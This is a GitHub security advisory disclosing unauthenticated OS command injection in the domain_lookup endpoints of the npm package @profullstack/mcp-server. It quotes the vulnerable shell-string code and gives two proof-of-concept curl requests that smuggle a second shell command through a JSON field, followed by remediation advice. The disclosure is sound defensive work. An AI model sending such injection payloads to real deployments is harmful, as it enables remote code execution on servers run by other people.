GitHub Advisoryadvisory · npm

GHSA-v6wj-c83f-v46x @profullstack/mcp-server vulnerable to OS Command Injection in domain_lookup Module

CRITICAL Published 2026-05-09 Modified 2026-05-09 Official page ↗
Ecosystem
npm
Packages
@profullstack/mcp-server
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-78
Reviewed
2026-05-09

Affected packages

• npm @profullstack/mcp-server: <= 1.4.12 (no fix yet)

Description

Security Advisory: OS Command Injection in profullstack/mcp-server domain_lookup Module Field | Value -- | -- Project | profullstack/mcp-server Repository | https://github.com/profullstack/mcp-server Affected Commit | 2e8ea913573610667ad54e31dba2e8198ebf7cf9 Affected Module | mcp_modules/domain_lookup Affected Endpoints | POST /domain-lookup/check, POST /domain-lookup/bulk Vulnerability Type | CWE-78: OS Command Injection CVSS 3.1 Score | 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Authentication Required | None Default Network Exposure | Bind address 0.0.0.0, no global authentication middleware Validated | 2026-04-21 (initial), 2026-04-28 (re-confirmed) Summary The domain_lookup module assembles a shell command string by concatenating user-controlled input (domains / keywords) and passes it to execAsync(). Both HTTP endpoints reach the same sink. Because there is no argument quoting, escaping, or allowlist — and no authentication on the server — an unauthenticated remote attacker can execute arbitrary OS commands as the server process. Affected Code index.js:27 — server binds to 0.0.0.0, no global auth middleware. mcp_modules/domain_lookup/index.js:52 — registers POST /domain-lookup/check. mcp_modules/domain_lookup/index.js:55 — registers POST /domain-lookup/bulk. mcp_modules/domain_lookup/src/service.js:19, :20 — buildTldxCommand() concatenates user input into the shell string. mcp_modules/domain_lookup/src/service.js:114, :115, :142 — execAsync(command) sink reached from both routes. Vulnerable Code File: mcp_modules/domain_lookup/src/service.js Step 1 — User input concatenated directly into a shell string: buildTldxCommand(keywords, options = {}) { let command = `tldx ${keywords.join(' ')}`; if (options.prefixes?.length) { command += ` --prefixes ${options.prefixes.join(',')}`; } } Step 2 — That shell string is executed as-is: async checkDomainAvailability(domains, options = {}) { try { const command = this.buildTldxCommand(domains, options); const { stdout, stderr } = await execAsync(command); There is no sanitization between Step 1 and Step 2. Shell metacharacters (;, |, $(), etc.) in user input are interpreted by /bin/sh at execution time. Proof of Concept Tested against a local Docker build of the affected commit (0.0.0.0:13000-&gt;3000/tcp). PoC A — POST /domain-lookup/check Request: curl -X POST http://localhost:13000/domain-lookup/check \ -H 'Content-Type: application/json' \ -d '{"domains":["example.com; echo final_check_poc &gt; /tmp/verify-exports/final_check.txt; #"]}' Response: HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:39 GMT {"error":"tldx command failed: tldx command failed: /bin/sh: tldx: not found\n"} Side effect confirmed inside container: $ cat /tmp/verify-exports/final_check.txt final_check_poc PoC B — POST /domain-lookup/bulk Request: curl -X POST http://localhost:13000/domain-lookup/bulk \ -H 'Content-Type: application/json' \ -d '{"keywords":["safe","x; echo final_bulk_poc &gt; /tmp/verify-exports/final_bulk.txt; #"]}' Response: HTTP/1.1 500 Internal Server Error access-control-allow-origin: * content-type: application/json Date: Tue, 21 Apr 2026 04:32:40 GMT {"error":"Bulk domain check failed: Bulk domain check failed: /bin/sh: tldx: not found\n"} Side effect confirmed inside container: $ cat /tmp/verify-exports/final_bulk.txt final_bulk_poc Note on HTTP 500 Both requests return HTTP 500 because tldx is not installed in the test container. The injected commands are interpreted by the shell before tldx is invoked. The marker files confirm that attacker-controlled commands executed successfully despite the 500 response. In a production environment where tldx is installed, both the intended function and the injected commands execute. Impact Unauthenticated remote code execution as the server process UID. Full read/write access to any file the server process can access. Potential for outbound connections, credential theft, persistence, and lateral movement. Reproducible with a single unauthenticated HTTP POST to either of two documented endpoints. Suggested Remediation Replace execAsync(command) with child_process.execFile or spawn('tldx', [keyword1, keyword2, ...]) — pass arguments as an array, never as a concatenated shell string. Validate all domain/keyword input against a strict allowlist (RFC 1035 hostname syntax) before invoking the external binary; reject any input containing shell metacharacters. Add a global authentication middleware so all HTTP-exposed modules are not callable anonymously. Default the server bind address to 127.0.0.1 and require explicit opt-in for non-loopback bindings. Verification Environment Local Docker container only; no third-party deployment was tested. The container does not include the tldx binary; this is intentional for safe local PoC and does not affect exploitability.

Related

Weakness · CWE (1)

  • CWE-78 Improper Neutralization of Special Elements used in an OS Command weakness

References